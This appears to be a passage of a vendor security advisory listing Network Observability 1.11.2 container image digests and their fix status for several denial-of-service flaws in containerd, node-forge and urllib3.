| Unresolved product id: Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-compat-rhel9@sha256:17be6b67f5ed6757b65df0d59dc5d59130ee2e3510c60453de77fadfd7ca3c16_arm64 | — |
Workaround
|
|
| Unresolved product id: Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-compat-rhel9@sha256:325db5ee476d5467e24748b6a66def44ff06e91e7e0665f43a49d7df9dbc9870_s390x | — |
Workaround
|
|
| Unresolved product id: Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-compat-rhel9@sha256:7ed8059b6fb8ccc57c6c6aca6c826e4b45db3079cdf6d2854dec467a94fe46ab_ppc64le | — |
Workaround
|
|
| Unresolved product id: Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-compat-rhel9@sha256:a9d0f02ab4310c5a2b2026f424a07d35bcd2ab74e5f9fabba10a2514bef29545_amd64 | — |
Workaround
|
|
| Unresolved product id: Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-rhel9@sha256:3f4b1539a41af46e0dcc3ee1e06d760b504448190cf1f5963171e504cbcb82e2_ppc64le | — |
Workaround
|
|
| Unresolved product id: Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-rhel9@sha256:4cb55d496e82d09f2a9f57f1b676d24134b1e4f817e10d4535581d4cb2728502_amd64 | — |
Workaround
|
|
| Unresolved product id: Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-rhel9@sha256:77695f611b1122150c84ee648c674037c488007684d8644a5fc420e111e447b1_arm64 | — |
Workaround
|
|
| Unresolved product id: Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-rhel9@sha256:bb0f0e05c7bb037cd07c260a8fcea50fb62cc433d8cd504c4bb065f994c359c6_s390x | — |
Workaround
|
|
| Unresolved product id: Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-ebpf-agent-rhel9@sha256:0d23eb03050bcf371d44613a679456222b064cd3a6c17ea9a3c34f1ac7e3cbfc_amd64 | — |
Workaround
|
|
| Unresolved product id: Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-ebpf-agent-rhel9@sha256:619759fd4607dbb26e8ef0d47f50f8ec24323f0766167e4df15c51d6c31b9be7_s390x | — |
Workaround
|
|
| Unresolved product id: Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-ebpf-agent-rhel9@sha256:e72278e61f7300880988fbac4e4e728e7f2ad14c3061ac39ece0d59a3cd5e228_arm64 | — |
Workaround
|
|
| Unresolved product id: Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-ebpf-agent-rhel9@sha256:f85ae8937c0d75a29dfe601110e5b358f8d92bb85bb43fff9bc88667ad43e4dc_ppc64le | — |
Workaround
|
|
| Unresolved product id: Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-flowlogs-pipeline-rhel9@sha256:84a41b297f620c777236b298ee3dca1656916757cfb043f96c035656f8b9c353_ppc64le | — |
Workaround
|
|
| Unresolved product id: Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-flowlogs-pipeline-rhel9@sha256:8b660cd90abfe68d05668562155759079e7012448c142234ea3a37e6ee41436d_s390x | — |
Workaround
|
|
| Unresolved product id: Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-flowlogs-pipeline-rhel9@sha256:9e495db6e28bb6e38b263557d303081ed3199039dc1e7d18c704be8b64d8dd18_amd64 | — |
Workaround
|
|
| Unresolved product id: Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-flowlogs-pipeline-rhel9@sha256:c2a7793ccbaf491a6018f3dd63b10f29e205441d1dd7ca9184b1b46f6db4b199_arm64 | — |
Workaround
|
|
| Unresolved product id: Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-operator-bundle@sha256:6cc2706d0f934502e78d4f4585e0787a84e6751ff946568c21dbe7a87df699df_amd64 | — |
Workaround
|
Threats
Impact
Moderate
A flaw was found in containerd. This vulnerability allows a user to exhaust memory on the host due to goroutine leaks via a bug in the CRI (Container Runtime Interface) Attach implementation.
6.5 (Medium)
Affected products
Fixed
4 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-cli-rhel9@sha256:0c677aebfafea3f13c298396e9975da6fb392df0cef1b62df54d66b0f08376a3_arm64 | — |
Vendor Fix
fix
|
|
| Unresolved product id: Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-cli-rhel9@sha256:472aaa4cabacdc52ecd2cd9d25710027612cc1c92a4a2685bf5321507028ec0d_ppc64le | — |
Vendor Fix
fix
|
|
| Unresolved product id: Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-cli-rhel9@sha256:9266caf90f473509cbd104e1d00b57a4695f16cf4e0be53819560821e0236461_s390x | — |
Vendor Fix
fix
|
|
| Unresolved product id: Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-cli-rhel9@sha256:a852fe93a3de2a35b3f13cfa0ea0600f9518d4b97c123353eb2b4f78202e7967_amd64 | — |
Vendor Fix
fix
|
Known not affected
21 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-compat-rhel9@sha256:17be6b67f5ed6757b65df0d59dc5d59130ee2e3510c60453de77fadfd7ca3c16_arm64 | — | ||
| Unresolved product id: Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-compat-rhel9@sha256:325db5ee476d5467e24748b6a66def44ff06e91e7e0665f43a49d7df9dbc9870_s390x | — | ||
| Unresolved product id: Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-compat-rhel9@sha256:7ed8059b6fb8ccc57c6c6aca6c826e4b45db3079cdf6d2854dec467a94fe46ab_ppc64le | — | ||
| Unresolved product id: Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-compat-rhel9@sha256:a9d0f02ab4310c5a2b2026f424a07d35bcd2ab74e5f9fabba10a2514bef29545_amd64 | — | ||
| Unresolved product id: Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-rhel9@sha256:3f4b1539a41af46e0dcc3ee1e06d760b504448190cf1f5963171e504cbcb82e2_ppc64le | — | ||
| Unresolved product id: Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-rhel9@sha256:4cb55d496e82d09f2a9f57f1b676d24134b1e4f817e10d4535581d4cb2728502_amd64 | — | ||
| Unresolved product id: Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-rhel9@sha256:77695f611b1122150c84ee648c674037c488007684d8644a5fc420e111e447b1_arm64 | — | ||
| Unresolved product id: Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-rhel9@sha256:bb0f0e05c7bb037cd07c260a8fcea50fb62cc433d8cd504c4bb065f994c359c6_s390x | — | ||
| Unresolved product id: Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-ebpf-agent-rhel9@sha256:0d23eb03050bcf371d44613a679456222b064cd3a6c17ea9a3c34f1ac7e3cbfc_amd64 | — | ||
| Unresolved product id: Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-ebpf-agent-rhel9@sha256:619759fd4607dbb26e8ef0d47f50f8ec24323f0766167e4df15c51d6c31b9be7_s390x | — | ||
| Unresolved product id: Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-ebpf-agent-rhel9@sha256:e72278e61f7300880988fbac4e4e728e7f2ad14c3061ac39ece0d59a3cd5e228_arm64 | — | ||
| Unresolved product id: Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-ebpf-agent-rhel9@sha256:f85ae8937c0d75a29dfe601110e5b358f8d92bb85bb43fff9bc88667ad43e4dc_ppc64le | — | ||
| Unresolved product id: Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-flowlogs-pipeline-rhel9@sha256:84a41b297f620c777236b298ee3dca1656916757cfb043f96c035656f8b9c353_ppc64le | — | ||
| Unresolved product id: Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-flowlogs-pipeline-rhel9@sha256:8b660cd90abfe68d05668562155759079e7012448c142234ea3a37e6ee41436d_s390x | — | ||
| Unresolved product id: Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-flowlogs-pipeline-rhel9@sha256:9e495db6e28bb6e38b263557d303081ed3199039dc1e7d18c704be8b64d8dd18_amd64 | — | ||
| Unresolved product id: Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-flowlogs-pipeline-rhel9@sha256:c2a7793ccbaf491a6018f3dd63b10f29e205441d1dd7ca9184b1b46f6db4b199_arm64 | — | ||
| Unresolved product id: Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-operator-bundle@sha256:6cc2706d0f934502e78d4f4585e0787a84e6751ff946568c21dbe7a87df699df_amd64 | — | ||
| Unresolved product id: Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-rhel9-operator@sha256:3180d33b433733fc469a0a8b2bf613f137eba10fd75f8bc586066d4d303a3a5f_s390x | — | ||
| Unresolved product id: Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-rhel9-operator@sha256:5938d399221a1f7ad395ea18adf0fd5274e009f1de48114bc4d07968566b7209_amd64 | — | ||
| Unresolved product id: Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-rhel9-operator@sha256:9b5e5c68ff2fdd5ca27e34e8eda5d0e8a230eea65cdfa768a6f6643c1a35da76_ppc64le | — | ||
| Unresolved product id: Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-rhel9-operator@sha256:cfa8bd4f51b690217a305347ac412ee4efed2bdea695fa99f8f771c4f271b59c_arm64 | — |
Threats
Impact
Moderate
An ASN.1 Denial of Service (Dos) vulnerability exists in the node-forge asn1.fromDer function within forge/lib/asn1.js. The ASN.1 DER parser implementation (_fromDer) recurses for every constructed ASN.1 value (SEQUENCE, SET, etc.) and lacks a guard limiting recursion depth. An attacker can craft a small DER blob containing a very large nesting depth of constructed TLVs which causes the Node.js V8 engine to exhaust its call stack and throw RangeError: Maximum call stack size exceeded, crashing or incapacitating the process handling the parse. This is a remote, low-cost Denial-of-Service against applications that parse untrusted ASN.1 objects.
5.3 (Medium)
Affected products
Fixed
8 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-compat-rhel9@sha256:17be6b67f5ed6757b65df0d59dc5d59130ee2e3510c60453de77fadfd7ca3c16_arm64 | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-compat-rhel9@sha256:325db5ee476d5467e24748b6a66def44ff06e91e7e0665f43a49d7df9dbc9870_s390x | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-compat-rhel9@sha256:7ed8059b6fb8ccc57c6c6aca6c826e4b45db3079cdf6d2854dec467a94fe46ab_ppc64le | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-compat-rhel9@sha256:a9d0f02ab4310c5a2b2026f424a07d35bcd2ab74e5f9fabba10a2514bef29545_amd64 | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-rhel9@sha256:3f4b1539a41af46e0dcc3ee1e06d760b504448190cf1f5963171e504cbcb82e2_ppc64le | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-rhel9@sha256:4cb55d496e82d09f2a9f57f1b676d24134b1e4f817e10d4535581d4cb2728502_amd64 | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-rhel9@sha256:77695f611b1122150c84ee648c674037c488007684d8644a5fc420e111e447b1_arm64 | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-rhel9@sha256:bb0f0e05c7bb037cd07c260a8fcea50fb62cc433d8cd504c4bb065f994c359c6_s390x | — |
Vendor Fix
fix
Workaround
|
Known not affected
17 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-cli-rhel9@sha256:0c677aebfafea3f13c298396e9975da6fb392df0cef1b62df54d66b0f08376a3_arm64 | — |
Workaround
|
|
| Unresolved product id: Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-cli-rhel9@sha256:472aaa4cabacdc52ecd2cd9d25710027612cc1c92a4a2685bf5321507028ec0d_ppc64le | — |
Workaround
|
|
| Unresolved product id: Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-cli-rhel9@sha256:9266caf90f473509cbd104e1d00b57a4695f16cf4e0be53819560821e0236461_s390x | — |
Workaround
|
|
| Unresolved product id: Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-cli-rhel9@sha256:a852fe93a3de2a35b3f13cfa0ea0600f9518d4b97c123353eb2b4f78202e7967_amd64 | — |
Workaround
|
|
| Unresolved product id: Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-ebpf-agent-rhel9@sha256:0d23eb03050bcf371d44613a679456222b064cd3a6c17ea9a3c34f1ac7e3cbfc_amd64 | — |
Workaround
|
|
| Unresolved product id: Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-ebpf-agent-rhel9@sha256:619759fd4607dbb26e8ef0d47f50f8ec24323f0766167e4df15c51d6c31b9be7_s390x | — |
Workaround
|
|
| Unresolved product id: Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-ebpf-agent-rhel9@sha256:e72278e61f7300880988fbac4e4e728e7f2ad14c3061ac39ece0d59a3cd5e228_arm64 | — |
Workaround
|
|
| Unresolved product id: Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-ebpf-agent-rhel9@sha256:f85ae8937c0d75a29dfe601110e5b358f8d92bb85bb43fff9bc88667ad43e4dc_ppc64le | — |
Workaround
|
|
| Unresolved product id: Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-flowlogs-pipeline-rhel9@sha256:84a41b297f620c777236b298ee3dca1656916757cfb043f96c035656f8b9c353_ppc64le | — |
Workaround
|
|
| Unresolved product id: Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-flowlogs-pipeline-rhel9@sha256:8b660cd90abfe68d05668562155759079e7012448c142234ea3a37e6ee41436d_s390x | — |
Workaround
|
|
| Unresolved product id: Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-flowlogs-pipeline-rhel9@sha256:9e495db6e28bb6e38b263557d303081ed3199039dc1e7d18c704be8b64d8dd18_amd64 | — |
Workaround
|
|
| Unresolved product id: Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-flowlogs-pipeline-rhel9@sha256:c2a7793ccbaf491a6018f3dd63b10f29e205441d1dd7ca9184b1b46f6db4b199_arm64 | — |
Workaround
|
|
| Unresolved product id: Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-operator-bundle@sha256:6cc2706d0f934502e78d4f4585e0787a84e6751ff946568c21dbe7a87df699df_amd64 | — |
Workaround
|
|
| Unresolved product id: Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-rhel9-operator@sha256:3180d33b433733fc469a0a8b2bf613f137eba10fd75f8bc586066d4d303a3a5f_s390x | — |
Workaround
|
|
| Unresolved product id: Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-rhel9-operator@sha256:5938d399221a1f7ad395ea18adf0fd5274e009f1de48114bc4d07968566b7209_amd64 | — |
Workaround
|
|
| Unresolved product id: Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-rhel9-operator@sha256:9b5e5c68ff2fdd5ca27e34e8eda5d0e8a230eea65cdfa768a6f6643c1a35da76_ppc64le | — |
Workaround
|
|
| Unresolved product id: Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-rhel9-operator@sha256:cfa8bd4f51b690217a305347ac412ee4efed2bdea695fa99f8f771c4f271b59c_arm64 | — |
Workaround
|
Threats
Impact
Moderate
A flaw was found in urllib3 Python library that could lead to a Denial of Service condition. A remote, malicious server can exploit this flaw by responding to a client request with an HTTP message that uses an excessive number of chained compression algorithms. This unlimited decompression chain causes the client system to consume a virtually unbounded amount of CPU resources and memory. The high resource usage leads to service disruption, making the application unresponsive.
7.5 (High)
Affected products
Fixed
4 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-cli-rhel9@sha256:0c677aebfafea3f13c298396e9975da6fb392df0cef1b62df54d66b0f08376a3_arm64 | — |
Vendor Fix
fix
|
|
| Unresolved product id: Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-cli-rhel9@sha256:472aaa4cabacdc52ecd2cd9d25710027612cc1c92a4a2685bf5321507028ec0d_ppc64le | — |
Vendor Fix
fix
|
|
| Unresolved product id: Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-cli-rhel9@sha256:9266caf90f473509cbd104e1d00b57a4695f16cf4e0be53819560821e0236461_s390x | — |
Vendor Fix
fix
|
|
| Unresolved product id: Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-cli-rhel9@sha256:a852fe93a3de2a35b3f13cfa0ea0600f9518d4b97c123353eb2b4f78202e7967_amd64 | — |
Vendor Fix
fix
|
Known not affected
21 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-compat-rhel9@sha256:17be6b67f5ed6757b65df0d59dc5d59130ee2e3510c60453de77fadfd7ca3c16_arm64 | — | ||
| Unresolved product id: Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-compat-rhel9@sha256:325db5ee476d5467e24748b6a66def44ff06e91e7e0665f43a49d7df9dbc9870_s390x | — | ||
| Unresolved product id: Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-compat-rhel9@sha256:7ed8059b6fb8ccc57c6c6aca6c826e4b45db3079cdf6d2854dec467a94fe46ab_ppc64le | — | ||
| Unresolved product id: Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-compat-rhel9@sha256:a9d0f02ab4310c5a2b2026f424a07d35bcd2ab74e5f9fabba10a2514bef29545_amd64 | — | ||
| Unresolved product id: Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-rhel9@sha256:3f4b1539a41af46e0dcc3ee1e06d760b504448190cf1f5963171e504cbcb82e2_ppc64le | — | ||
| Unresolved product id: Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-rhel9@sha256:4cb55d496e82d09f2a9f57f1b676d24134b1e4f817e10d4535581d4cb2728502_amd64 | — | ||
| Unresolved product id: Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-rhel9@sha256:77695f611b1122150c84ee648c674037c488007684d8644a5fc420e111e447b1_arm64 | — | ||
| Unresolved product id: Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-rhel9@sha256:bb0f0e05c7bb037cd07c260a8fcea50fb62cc433d8cd504c4bb065f994c359c6_s390x | — | ||
| Unresolved product id: Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-ebpf-agent-rhel9@sha256:0d23eb03050bcf371d44613a679456222b064cd3a6c17ea9a3c34f1ac7e3cbfc_amd64 | — | ||
| Unresolved product id: Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-ebpf-agent-rhel9@sha256:619759fd4607dbb26e8ef0d47f50f8ec24323f0766167e4df15c51d6c31b9be7_s390x | — | ||
| Unresolved product id: Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-ebpf-agent-rhel9@sha256:e72278e61f7300880988fbac4e4e728e7f2ad14c3061ac39ece0d59a3cd5e228_arm64 | — | ||
| Unresolved product id: Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-ebpf-agent-rhel9@sha256:f85ae8937c0d75a29dfe601110e5b358f8d92bb85bb43fff9bc88667ad43e4dc_ppc64le | — | ||
| Unresolved product id: Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-flowlogs-pipeline-rhel9@sha256:84a41b297f620c777236b298ee3dca1656916757cfb043f96c035656f8b9c353_ppc64le | — | ||
| Unresolved product id: Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-flowlogs-pipeline-rhel9@sha256:8b660cd90abfe68d05668562155759079e7012448c142234ea3a37e6ee41436d_s390x | — | ||
| Unresolved product id: Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-flowlogs-pipeline-rhel9@sha256:9e495db6e28bb6e38b263557d303081ed3199039dc1e7d18c704be8b64d8dd18_amd64 | — | ||
| Unresolved product id: Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-flowlogs-pipeline-rhel9@sha256:c2a7793ccbaf491a6018f3dd63b10f29e205441d1dd7ca9184b1b46f6db4b199_arm64 | — | ||
| Unresolved product id: Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-operator-bundle@sha256:6cc2706d0f934502e78d4f4585e0787a84e6751ff946568c21dbe7a87df699df_amd64 | — | ||
| Unresolved product id: Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-rhel9-operator@sha256:3180d33b433733fc469a0a8b2bf613f137eba10fd75f8bc586066d4d303a3a5f_s390x | — | ||
| Unresolved product id: Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-rhel9-operator@sha256:5938d399221a1f7ad395ea18adf0fd5274e009f1de48114bc4d07968566b7209_amd64 | — | ||
| Unresolved product id: Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-rhel9-operator@sha256:9b5e5c68ff2fdd5ca27e34e8eda5d0e8a230eea65cdfa768a6f6643c1a35da76_ppc64le | — | ||
| Unresolved product id: Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-rhel9-operator@sha256:cfa8bd4f51b690217a305347ac412ee4efed2bdea695fa99f8f771c4f271b59c_arm64 | — |
Threats
Impact
Important
A decompression handling flaw has been discovered in urllib3. When streaming a compressed response, urllib3 can perform decoding or decompression based on the HTTP Content-Encoding header (e.g., gzip, deflate, br, or zstd). The library must read compressed data from the network and decompress it until the requested chunk size is met. Any resulting decompressed data that exceeds the requested amount is held in an internal buffer for the next read operation. The decompression logic could cause urllib3 to fully decode a small amount of highly compressed data in a single operation. This can result in excessive resource consumption (high CPU usage and massive memory allocation for the decompressed data; CWE-409) on the client side, even if the application only requested a small chunk of data.
7.5 (High)
Affected products
Fixed
4 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-cli-rhel9@sha256:0c677aebfafea3f13c298396e9975da6fb392df0cef1b62df54d66b0f08376a3_arm64 | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-cli-rhel9@sha256:472aaa4cabacdc52ecd2cd9d25710027612cc1c92a4a2685bf5321507028ec0d_ppc64le | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-cli-rhel9@sha256:9266caf90f473509cbd104e1d00b57a4695f16cf4e0be53819560821e0236461_s390x | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-cli-rhel9@sha256:a852fe93a3de2a35b3f13cfa0ea0600f9518d4b97c123353eb2b4f78202e7967_amd64 | — |
Vendor Fix
fix
Workaround
|
Known not affected
21 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-compat-rhel9@sha256:17be6b67f5ed6757b65df0d59dc5d59130ee2e3510c60453de77fadfd7ca3c16_arm64 | — |
Workaround
|
|
| Unresolved product id: Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-compat-rhel9@sha256:325db5ee476d5467e24748b6a66def44ff06e91e7e0665f43a49d7df9dbc9870_s390x | — |
Workaround
|
|
| Unresolved product id: Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-compat-rhel9@sha256:7ed8059b6fb8ccc57c6c6aca6c826e4b45db3079cdf6d2854dec467a94fe46ab_ppc64le | — |
Workaround
|
|
| Unresolved product id: Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-compat-rhel9@sha256:a9d0f02ab4310c5a2b2026f424a07d35bcd2ab74e5f9fabba10a2514bef29545_amd64 | — |
Workaround
|
|
| Unresolved product id: Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-rhel9@sha256:3f4b1539a41af46e0dcc3ee1e06d760b504448190cf1f5963171e504cbcb82e2_ppc64le | — |
Workaround
|
|
| Unresolved product id: Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-rhel9@sha256:4cb55d496e82d09f2a9f57f1b676d24134b1e4f817e10d4535581d4cb2728502_amd64 | — |
Workaround
|
|
| Unresolved product id: Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-rhel9@sha256:77695f611b1122150c84ee648c674037c488007684d8644a5fc420e111e447b1_arm64 | — |
Workaround
|
|
| Unresolved product id: Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-rhel9@sha256:bb0f0e05c7bb037cd07c260a8fcea50fb62cc433d8cd504c4bb065f994c359c6_s390x | — |
Workaround
|
|
| Unresolved product id: Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-ebpf-agent-rhel9@sha256:0d23eb03050bcf371d44613a679456222b064cd3a6c17ea9a3c34f1ac7e3cbfc_amd64 | — |
Workaround
|
|
| Unresolved product id: Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-ebpf-agent-rhel9@sha256:619759fd4607dbb26e8ef0d47f50f8ec24323f0766167e4df15c51d6c31b9be7_s390x | — |
Workaround
|
|
| Unresolved product id: Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-ebpf-agent-rhel9@sha256:e72278e61f7300880988fbac4e4e728e7f2ad14c3061ac39ece0d59a3cd5e228_arm64 | — |
Workaround
|
|
| Unresolved product id: Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-ebpf-agent-rhel9@sha256:f85ae8937c0d75a29dfe601110e5b358f8d92bb85bb43fff9bc88667ad43e4dc_ppc64le | — |
Workaround
|
|
| Unresolved product id: Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-flowlogs-pipeline-rhel9@sha256:84a41b297f620c777236b298ee3dca1656916757cfb043f96c035656f8b9c353_ppc64le | — |
Workaround
|
|
| Unresolved product id: Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-flowlogs-pipeline-rhel9@sha256:8b660cd90abfe68d05668562155759079e7012448c142234ea3a37e6ee41436d_s390x | — |
Workaround
|
|
| Unresolved product id: Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-flowlogs-pipeline-rhel9@sha256:9e495db6e28bb6e38b263557d303081ed3199039dc1e7d18c704be8b64d8dd18_amd64 | — |
Workaround
|
|
| Unresolved product id: Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-flowlogs-pipeline-rhel9@sha256:c2a7793ccbaf491a6018f3dd63b10f29e205441d1dd7ca9184b1b46f6db4b199_arm64 | — |
Workaround
|
|
